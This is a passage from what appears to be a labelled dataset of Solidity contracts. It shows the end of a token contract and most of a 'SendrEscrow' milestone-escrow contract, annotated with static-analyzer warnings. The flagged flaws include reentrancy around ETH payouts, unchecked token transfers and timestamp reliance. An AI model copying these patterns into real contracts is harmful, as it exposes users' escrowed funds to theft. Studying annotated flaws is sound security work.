IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for e8a8199: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a8d73dd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a8d73dd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: caa3e88\n\t\t// reentrancy-eth | ID: a8d73dd\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: caa3e88\n\t\t// unused-return | ID: 4bbc190\n\t\t// reentrancy-eth | ID: a8d73dd\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: caa3e88\n\t\t// unused-return | ID: e8a8199\n\t\t// reentrancy-eth | ID: a8d73dd\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: caa3e88\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: a8d73dd\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10242.sol",
"size_bytes": 19429,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\nabstract contract ReentrancyGuard {\n uint256 private constant NOT_ENTERED = 1;\n\n uint256 private constant ENTERED = 2;\n\n uint256 private _status;\n\n error ReentrancyGuardReentrantCall();\n\n constructor() {\n _status = NOT_ENTERED;\n }\n\n modifier nonReentrant() {\n _nonReentrantBefore();\n\n _;\n\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n if (_status == ENTERED) {\n revert ReentrancyGuardReentrantCall();\n }\n\n _status = ENTERED;\n }\n\n function _nonReentrantAfter() private {\n _status = NOT_ENTERED;\n }\n\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == ENTERED;\n }\n}\n\ncontract SendrEscrow is Ownable, ReentrancyGuard {\n struct Milestone {\n uint256 contractId;\n uint256 value;\n string title;\n bool released;\n bool inDispute;\n }\n\n struct Delegate {\n address delegateAddress;\n uint256 votingPower;\n uint256 timestamp;\n }\n\n struct Contract {\n Milestone[] milestones;\n uint256 startBlock;\n uint256 contractId;\n address payer;\n address payee;\n bool active;\n string title;\n address tokenAddress;\n bool inDispute;\n uint256 valueRemaining;\n }\n\n struct Dispute {\n uint256 contractId;\n uint256 milestoneId;\n bool fullContractDispute;\n bool resolved;\n uint256 snapshotBlock;\n uint256 yesVotes;\n uint256 noVotes;\n uint256 votingDeadline;\n uint256 totalVotes;\n mapping(address => bool) hasVoted;\n }\n\n uint256 public VOTING_DURATION = 24 hours;\n\n uint256 public VOTING_EXTENSION_DURATION = 12 hours;\n\n uint256 public THRESHOLD_PERCENT = 10;\n\n uint256 public CONTRACT_FEE = 500;\n\n address public FEE_WALLET = 0xeaDA12106cE206Ed1faD23C4cD94Af794282FA22;\n\n\t// WARNING Optimization Issue (constable-states | ID: c342292): SendrEscrow.activeContracts should be constant \n\t// Recommendation for c342292: Add the 'constant' attribute to state variables that never change.\n uint256 public activeContracts;\n\n IERC20 public sendrToken;\n\n address public sendrTreasury;\n\n uint256 public contractCount;\n\n mapping(address => Delegate[]) public userDelegations;\n\n mapping(uint256 => Contract) public contracts;\n\n mapping(uint256 => Dispute) public disputes;\n\n mapping(address => uint256[]) public userContracts;\n\n mapping(uint256 => bool) public fundedStatus;\n\n mapping(uint256 => address) public signer;\n\n mapping(address => mapping(uint256 => bool)) private voidCheck;\n\n mapping(uint256 => mapping(uint256 => bool)) private payeeSignedMilestone;\n\n mapping(uint256 => mapping(uint256 => bool)) private payerSignedMilestone;\n\n mapping(uint256 => bool) public voided;\n\n event DisputeCreated(\n uint256 contractId,\n uint256 milestoneId,\n bool fullContractDispute,\n uint256 snapshotBlock\n );\n\n event DisputeResolved(\n uint256 contractId,\n uint256 milestoneId,\n bool inFavorOfPayee\n );\n\n event VotingExtended(uint256 contractId, uint256 milestoneId);\n\n event ContractCreated(\n uint256 contractId,\n address payer,\n address payee,\n string title,\n string identifier\n );\n\n event MilestoneReleased(\n uint256 contractId,\n address payer,\n address payee,\n string title\n );\n\n event ContractSigned(\n uint256 contractId,\n address payer,\n address payee,\n string title\n );\n\n event MilestoneDisputed(uint256 contractId, uint256 milestoneId);\n\n event ContractDisputed(uint256 contractId);\n\n event ContractVoided(uint256 contractId);\n\n constructor(IERC20 _sendrToken) Ownable(msg.sender) {\n sendrToken = _sendrToken;\n }\n\n function setSendrToken(IERC20 _sendrToken) external onlyOwner {\n sendrToken = _sendrToken;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a02655a): SendrEscrow.setFeeWallet(address)._feeWallet lacks a zerocheck on \t FEE_WALLET = _feeWallet\n\t// Recommendation for a02655a: Check that the address is not zero.\n function setFeeWallet(address _feeWallet) external onlyOwner {\n\t\t// missing-zero-check | ID: a02655a\n FEE_WALLET = _feeWallet;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e60a4d3): SendrEscrow.setFee(uint256) should emit an event for CONTRACT_FEE = _fee \n\t// Recommendation for e60a4d3: Emit an event for critical parameter changes.\n function setFee(uint256 _fee) external onlyOwner {\n\t\t// events-maths | ID: e60a4d3\n CONTRACT_FEE = _fee;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f79657f): SendrEscrow.setSendrTreasury(address)._sendrTreasury lacks a zerocheck on \t sendrTreasury = _sendrTreasury\n\t// Recommendation for f79657f: Check that the address is not zero.\n function setSendrTreasury(address _sendrTreasury) external onlyOwner {\n\t\t// missing-zero-check | ID: f79657f\n sendrTreasury = _sendrTreasury;\n }\n\n function setVotingDuration(uint256 _duration) external onlyOwner {\n require(_duration > 0, \"Duration must be greater than zero\");\n\n VOTING_DURATION = _duration;\n }\n\n function setVotingExtensionDuration(uint256 _extension) external onlyOwner {\n require(_extension > 0, \"Extension must be greater than zero\");\n\n VOTING_EXTENSION_DURATION = _extension;\n }\n\n function setThresholdPercent(uint256 _percent) external onlyOwner {\n require(\n _percent > 0 && _percent <= 100,\n \"Percent must be between 1 and 100\"\n );\n\n THRESHOLD_PERCENT = _percent;\n }\n\n function delegateVotes(\n address delegateAddress,\n uint256 votingPower\n ) external {\n require(\n votingPower <= sendrToken.balanceOf(msg.sender),\n \"Insufficient balance to delegate\"\n );\n\n userDelegations[msg.sender].push(\n Delegate({\n delegateAddress: delegateAddress,\n votingPower: votingPower,\n timestamp: block.timestamp\n })\n );\n }\n\n function getPastVotes(\n address user,\n uint256 disputeTimestamp\n ) public view returns (uint256) {\n Delegate[] memory delegations = userDelegations[user];\n\n uint256 lastValidVotingPower = 0;\n\n for (uint256 i = 0; i < delegations.length; i++) {\n if (delegations[i].timestamp <= disputeTimestamp) {\n lastValidVotingPower = delegations[i].votingPower;\n } else {\n break;\n }\n }\n\n require(\n sendrToken.balanceOf(user) >= lastValidVotingPower,\n \"Insufficient balance for past voting power\"\n );\n\n return lastValidVotingPower;\n }\n\n function raiseDispute(\n uint256 _contractId,\n uint256 _milestoneId,\n bool _fullContractDispute\n ) public {\n Contract storage _contract = contracts[_contractId];\n\n require(\n msg.sender == _contract.payer || msg.sender == _contract.payee,\n \"Only contract parties can raise disputes\"\n );\n\n require(_contract.active, \"Contract not active\");\n\n require(_contract.valueRemaining > 0, \"No value remaining\");\n\n require(!_contract.inDispute, \"Contract already in dispute\");\n\n if (_fullContractDispute) {\n _contract.inDispute = true;\n } else {\n Milestone storage milestone = _contract.milestones[_milestoneId];\n\n require(!milestone.inDispute, \"Milestone already in dispute\");\n\n milestone.inDispute = true;\n }\n\n uint256 snapshotBlock = block.number;\n\n Dispute storage dispute = disputes[_contractId];\n\n dispute.contractId = _contractId;\n\n dispute.milestoneId = _milestoneId;\n\n dispute.fullContractDispute = _fullContractDispute;\n\n dispute.resolved = false;\n\n dispute.snapshotBlock = snapshotBlock;\n\n dispute.yesVotes = 0;\n\n dispute.noVotes = 0;\n\n dispute.votingDeadline = block.timestamp + VOTING_DURATION;\n\n dispute.totalVotes = 0;\n\n emit DisputeCreated(\n _contractId,\n _milestoneId,\n _fullContractDispute,\n snapshotBlock\n );\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: ae6d1dd): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for ae6d1dd: Avoid relying on 'block.timestamp'.\n function voteOnDispute(\n uint256 _contractId,\n bool _voteInFavorOfPayee\n ) public nonReentrant {\n Dispute storage dispute = disputes[_contractId];\n\n require(!dispute.resolved, \"Dispute already resolved\");\n\n if (\n\t\t\t// timestamp | ID: ae6d1dd\n block.timestamp <= dispute.votingDeadline &&\n dispute.totalVotes <\n ((sendrToken.totalSupply() * THRESHOLD_PERCENT) / 100)\n ) {\n dispute.votingDeadline += VOTING_EXTENSION_DURATION;\n }\n\n\t\t// timestamp | ID: ae6d1dd\n require(\n block.timestamp <= dispute.votingDeadline,\n \"Voting period has ended\"\n );\n\n require(!dispute.hasVoted[msg.sender], \"You have already voted\");\n\n uint256 voterBalance = getPastVotes(msg.sender, dispute.snapshotBlock);\n\n require(voterBalance > 0, \"No voting power\");\n\n if (_voteInFavorOfPayee) {\n dispute.yesVotes += voterBalance;\n } else {\n dispute.noVotes += voterBalance;\n }\n\n dispute.totalVotes += voterBalance;\n\n dispute.hasVoted[msg.sender] = true;\n\n uint256 totalSupply = sendrToken.totalSupply();\n\n if (dispute.totalVotes >= ((totalSupply * THRESHOLD_PERCENT) / 100)) {\n _resolveDispute(_contractId);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 74bbfb1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 74bbfb1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: dc60e44): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for dc60e44: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9f29918): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9f29918: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _resolveDispute(uint256 _contractId) internal {\n Dispute storage dispute = disputes[_contractId];\n\n require(!dispute.resolved, \"Dispute already resolved\");\n\n Contract storage _contract = contracts[_contractId];\n\n Milestone storage milestone = _contract.milestones[dispute.milestoneId];\n\n bool inFavorOfPayee = dispute.yesVotes > dispute.noVotes;\n\n dispute.resolved = true;\n\n if (inFavorOfPayee) {\n if (dispute.fullContractDispute) {\n\t\t\t\t// reentrancy-eth | ID: 74bbfb1\n _sendFunds(\n _contractId,\n _contract.payee,\n _contract.valueRemaining\n );\n\n\t\t\t\t// reentrancy-eth | ID: 74bbfb1\n _contract.valueRemaining = 0;\n\n\t\t\t\t// reentrancy-eth | ID: 74bbfb1\n _contract.inDispute = false;\n\n\t\t\t\t// reentrancy-eth | ID: 74bbfb1\n _contract.active = false;\n } else {\n\t\t\t\t// reentrancy-eth | ID: dc60e44\n _sendFunds(_contractId, _contract.payee, milestone.value);\n\n milestone.released = true;\n\n milestone.inDispute = false;\n\n\t\t\t\t// reentrancy-eth | ID: dc60e44\n _contract.valueRemaining -= milestone.value;\n }\n } else {\n if (dispute.fullContractDispute) {\n\t\t\t\t// reentrancy-eth | ID: 9f29918\n _sendFunds(\n _contractId,\n _contract.payer,\n _contract.valueRemaining\n );\n\n\t\t\t\t// reentrancy-eth | ID: 9f29918\n _contract.valueRemaining = 0;\n\n\t\t\t\t// reentrancy-eth | ID: 9f29918\n _contract.inDispute = false;\n\n\t\t\t\t// reentrancy-eth | ID: 9f29918\n _contract.active = false;\n } else {\n _sendFunds(_contractId, _contract.payer, milestone.value);\n\n milestone.inDispute = false;\n }\n }\n\n emit DisputeResolved(_contractId, dispute.milestoneId, inFavorOfPayee);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 0198cef): SendrEscrow._sendFunds(uint256,address,uint256) ignores return value by token.transfer(FEE_WALLET,fee)\n\t// Recommendation for 0198cef: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: f5ce788): SendrEscrow._sendFunds(uint256,address,uint256) ignores return value by token.transfer(recipient,remainingAmount)\n\t// Recommendation for f5ce788: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: fcfcdd5): SendrEscrow._sendFunds(uint256,address,uint256) sends eth to arbitrary user Dangerous calls address(FEE_WALLET).transfer(fee)\n\t// Recommendation for fcfcdd5: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function _sendFunds(\n uint256 _contractId,\n address recipient,\n uint256 amount\n ) internal {\n require(FEE_WALLET != address(0), \"Fee wallet not set\");\n\n Contract storage _contract = contracts[_contractId];\n\n uint256 fee = (amount * CONTRACT_FEE) / 10000;\n\n uint256 remainingAmount = amount - fee;\n\n if (_contract.tokenAddress == address(0)) {\n\t\t\t// reentrancy-events | ID: eae18c6\n\t\t\t// reentrancy-eth | ID: 74bbfb1\n\t\t\t// reentrancy-eth | ID: dc60e44\n\t\t\t// reentrancy-eth | ID: 7a2bc4d\n\t\t\t// reentrancy-eth | ID: 9f29918\n\t\t\t// arbitrary-send-eth | ID: fcfcdd5\n payable(FEE_WALLET).transfer(fee);\n\n\t\t\t// reentrancy-events | ID: eae18c6\n\t\t\t// reentrancy-eth | ID: 74bbfb1\n\t\t\t// reentrancy-eth | ID: dc60e44\n\t\t\t// reentrancy-eth | ID: 7a2bc4d\n\t\t\t// reentrancy-eth | ID: 9f29918\n payable(recipient).transfer(remainingAmount);\n } else {\n IERC20 token = IERC20(_contract.tokenAddress);\n\n\t\t\t// reentrancy-events | ID: eae18c6\n\t\t\t// unchecked-transfer | ID: 0198cef\n\t\t\t// reentrancy-eth | ID: 74bbfb1\n\t\t\t// reentrancy-eth | ID: dc60e44\n\t\t\t// reentrancy-eth | ID: 7a2bc4d\n\t\t\t// reentrancy-eth | ID: 9f29918\n token.transfer(FEE_WALLET, fee);\n\n\t\t\t// reentrancy-events | ID: eae18c6\n\t\t\t// unchecked-transfer | ID: f5ce788\n\t\t\t// reentrancy-eth | ID: 74bbfb1\n\t\t\t// reentrancy-eth | ID: dc60e44\n\t\t\t// reentrancy-eth | ID: 7a2bc4d\n\t\t\t// reentrancy-eth | ID: 9f29918\n token.transfer(recipient, remainingAmount);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f6bf0eb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f6bf0eb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: aae5d7d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for aae5d7d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function createContract(\n uint256[] memory _values,\n string[] memory _titles,\n uint256 _numMilestones,\n address _payer,\n address _payee,\n address _tokenAddress,\n string memory _title,\n string memory _id\n ) public payable {\n require(\n msg.sender == _payer || msg.sender == _payee,\n \"Contract creator must be the payer or payee\"\n );\n\n require(_payer != _payee, \"Payer and Payee addresses must differ\");\n\n require(\n _values.length == _numMilestones &&\n _titles.length == _numMilestones,\n \"Invalid number of milestones\"\n );\n\n uint256 toSend = 0;\n\n address _signer;\n\n if (msg.sender == _payer) {\n _signer = _payee;\n\n for (uint256 i = 0; i < _values.length; i++) {\n toSend += _values[i];\n }\n\n if (_tokenAddress != address(0)) {\n\t\t\t\t// reentrancy-events | ID: f6bf0eb\n\t\t\t\t// reentrancy-benign | ID: aae5d7d\n require(\n IERC20(_tokenAddress).transferFrom(\n msg.sender,\n address(this),\n toSend\n ),\n \"ERC20 transfer failed\"\n );\n\n\t\t\t\t// reentrancy-benign | ID: aae5d7d\n fundedStatus[contractCount] = true;\n } else {\n require(msg.value == toSend, \"Wrong ETH amount\");\n\n fundedStatus[contractCount] = true;\n }\n } else {\n _signer = _payer;\n }\n\n Milestone[] memory milestones = new Milestone[](_numMilestones);\n\n uint256 _totalValue = 0;\n\n for (uint256 i = 0; i < _numMilestones; i++) {\n _totalValue += _values[i];\n\n milestones[i] = Milestone(\n contractCount,\n _values[i],\n _titles[i],\n false,\n false\n );\n }\n\n Contract storage newContract = contracts[contractCount];\n\n\t\t// reentrancy-benign | ID: aae5d7d\n newContract.payer = _payer;\n\n\t\t// reentrancy-benign | ID: aae5d7d\n newContract.payee = _payee;\n\n\t\t// reentrancy-benign | ID: aae5d7d\n newContract.title = _title;\n\n\t\t// reentrancy-benign | ID: aae5d7d\n newContract.tokenAddress = _tokenAddress;\n\n\t\t// reentrancy-benign | ID: aae5d7d\n newContract.contractId = contractCount;\n\n if (msg.sender == _payer) {\n\t\t\t// reentrancy-benign | ID: aae5d7d\n newContract.valueRemaining = _totalValue;\n } else {\n\t\t\t// reentrancy-benign | ID: aae5d7d\n newContract.valueRemaining = 0;\n }\n\n\t\t// reentrancy-benign | ID: aae5d7d\n newContract.active = false;\n\n for (uint256 i = 0; i < milestones.length; i++) {\n\t\t\t// reentrancy-benign | ID: aae5d7d\n newContract.milestones.push(milestones[i]);\n }\n\n\t\t// reentrancy-benign | ID: aae5d7d\n signer[contractCount] = _signer;\n\n\t\t// reentrancy-events | ID: f6bf0eb\n emit ContractCreated(contractCount, _payer, _payee, _title, _id);\n\n\t\t// reentrancy-benign | ID: aae5d7d\n contractCount += 1;\n }\n\n function _generateMilestoneArray(\n uint256 _contractId,\n uint256[] memory _values,\n string[] memory _titles,\n uint256 _numMilestones\n ) internal pure returns (Milestone[] memory, uint256) {\n Milestone[] memory toReturn = new Milestone[](_numMilestones);\n\n uint256 _totalValue = 0;\n\n for (uint256 i = 0; i < _numMilestones; i++) {\n _totalValue += _values[i];\n\n toReturn[i] = Milestone(\n _contractId,\n _values[i],\n _titles[i],\n false,\n false\n );\n }\n\n return (toReturn, _totalValue);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 20a7fad): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 20a7fad: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0624c56): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0624c56: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a412efe): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a412efe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: b2a1b76): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for b2a1b76: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: b5e09d7): SendrEscrow.signContract(uint256) uses a dangerous strict equality require(bool,string)(toSend == newBalance currentBalance,Transfer failed)\n\t// Recommendation for b5e09d7: Don't use strict equality to determine if an account has enough Ether or tokens.\n function signContract(uint256 _contractId) public payable {\n Contract storage _contract = contracts[_contractId];\n\n address _signer = signer[_contractId];\n\n require(_signer == msg.sender, \"You are not the signer\");\n\n\t\t// timestamp | ID: 20a7fad\n require(!_contract.active, \"Contract already active\");\n\n\t\t// timestamp | ID: 20a7fad\n require(!_contract.inDispute, \"Contract in dispute\");\n\n uint256 toSend = 0;\n\n if (_signer == _contract.payer) {\n for (uint256 i = 0; i < _contract.milestones.length; i++) {\n toSend += _contract.milestones[i].value;\n }\n\n if (_contract.tokenAddress != address(0)) {\n address _tokenAddress = _contract.tokenAddress;\n\n uint256 currentBalance = IERC20(_tokenAddress).balanceOf(\n address(this)\n );\n\n\t\t\t\t// reentrancy-events | ID: 0624c56\n\t\t\t\t// reentrancy-benign | ID: a412efe\n\t\t\t\t// reentrancy-no-eth | ID: b2a1b76\n require(\n IERC20(_tokenAddress).transferFrom(\n msg.sender,\n address(this),\n toSend\n )\n );\n\n uint256 newBalance = IERC20(_tokenAddress).balanceOf(\n address(this)\n );\n\n\t\t\t\t// incorrect-equality | ID: b5e09d7\n require(\n toSend == newBalance - currentBalance,\n \"Transfer failed\"\n );\n } else {\n require(msg.value == toSend, \"Wrong ETH amount\");\n }\n\n\t\t\t// reentrancy-benign | ID: a412efe\n fundedStatus[_contractId] = true;\n\n\t\t\t// reentrancy-no-eth | ID: b2a1b76\n _contract.valueRemaining = toSend;\n }\n\n\t\t// reentrancy-no-eth | ID: b2a1b76\n _contract.active = true;\n\n\t\t// reentrancy-no-eth | ID: b2a1b76\n _contract.startBlock = block.timestamp;\n\n\t\t// reentrancy-events | ID: 0624c56\n emit ContractSigned(\n _contractId,\n _contract.payer,\n _contract.payee,\n _contract.title\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: eae18c6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for eae18c6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7a2bc4d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7a2bc4d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function releaseMilestone(\n uint256 _contractId,\n uint256 _milestoneId\n ) public {\n Contract storage _contract = contracts[_contractId];\n\n require(_contract.active, \"Contract inactive\");\n\n require(\n _milestoneId < _contract.milestones.length,\n \"Out of bounds error\"\n );\n\n require(\n msg.sender == _contract.payer || msg.sender == _contract.payee,\n \"Not a valid party of the contract\"\n );\n\n require(!_contract.inDispute, \"Contract in dispute\");\n\n Milestone storage milestone = _contract.milestones[_milestoneId];\n\n require(!milestone.inDispute, \"Milestone in dispute\");\n\n require(!milestone.released, \"Milestone already released\");\n\n bool _payerSigned = payerSignedMilestone[_contractId][_milestoneId];\n\n bool _payeeSigned = payeeSignedMilestone[_contractId][_milestoneId];\n\n if (msg.sender == _contract.payer) {\n require(!_payerSigned, \"Already signed this milestone\");\n\n payerSignedMilestone[_contractId][_milestoneId] = true;\n\n _payerSigned = true;\n } else {\n require(!_payeeSigned, \"Already signed this milestone\");\n\n payeeSignedMilestone[_contractId][_milestoneId] = true;\n\n _payeeSigned = true;\n }\n\n if (_payerSigned && _payeeSigned) {\n milestone.released = true;\n\n\t\t\t// reentrancy-events | ID: eae18c6\n\t\t\t// reentrancy-eth | ID: 7a2bc4d\n _sendFunds(_contractId, _contract.payee, milestone.value);\n\n\t\t\t// reentrancy-eth | ID: 7a2bc4d\n _contract.valueRemaining -= milestone.value;\n\n\t\t\t// reentrancy-events | ID: eae18c6\n emit MilestoneReleased(\n _contractId,\n _contract.payer,\n _contract.payee,\n milestone.title\n );\n }\n }\n\n function disputeMilestone(\n uint256 _contractId,\n uint256 _milestoneId\n ) public {\n Contract storage _contract = contracts[_contractId];\n\n require(\n msg.sender == _contract.payer || msg.sender == _contract.payee,\n \"Must be a valid party of the contract\"\n );\n\n require(_contract.active, \"Contract must be active\");\n\n require(\n _milestoneId < _contract.milestones.length,\n \"Out of bounds error\"\n );\n\n require(!_contract.inDispute, \"This contract is already in dispute\");\n\n Milestone[] storage _milestones = _contract.milestones;\n\n require(\n !_milestones[_milestoneId].inDispute,\n \"Milestone is already in dispute\"\n );\n\n _milestones[_milestoneId].inDispute = true;\n\n emit MilestoneDisputed(_contractId, _milestoneId);\n }\n\n function disputeContract(uint256 _contractId) public {\n Contract storage _contract = contracts[_contractId];\n\n require(\n msg.sender == _contract.payer || msg.sender == _contract.payee,\n \"Must be a valid party of the contract\"\n );\n\n require(_contract.active, \"Contract must be active\");\n\n require(_contract.valueRemaining > 0, \"Contract empty\");\n\n require(!_contract.inDispute, \"Contract already in dispute\");\n\n _contract.inDispute = true;\n\n emit ContractDisputed(_contractId);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b16724d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b16724d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 61d4a83): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 61d4a83: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 99bf834): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 99bf834: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 1fe1657): SendrEscrow.voidContract(uint256) ignores return value by IERC20(_contract.tokenAddress).transfer(_contract.payer,_contract.valueRemaining)\n\t// Recommendation for 1fe1657: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 2f4880d): SendrEscrow.voidContract(uint256) ignores 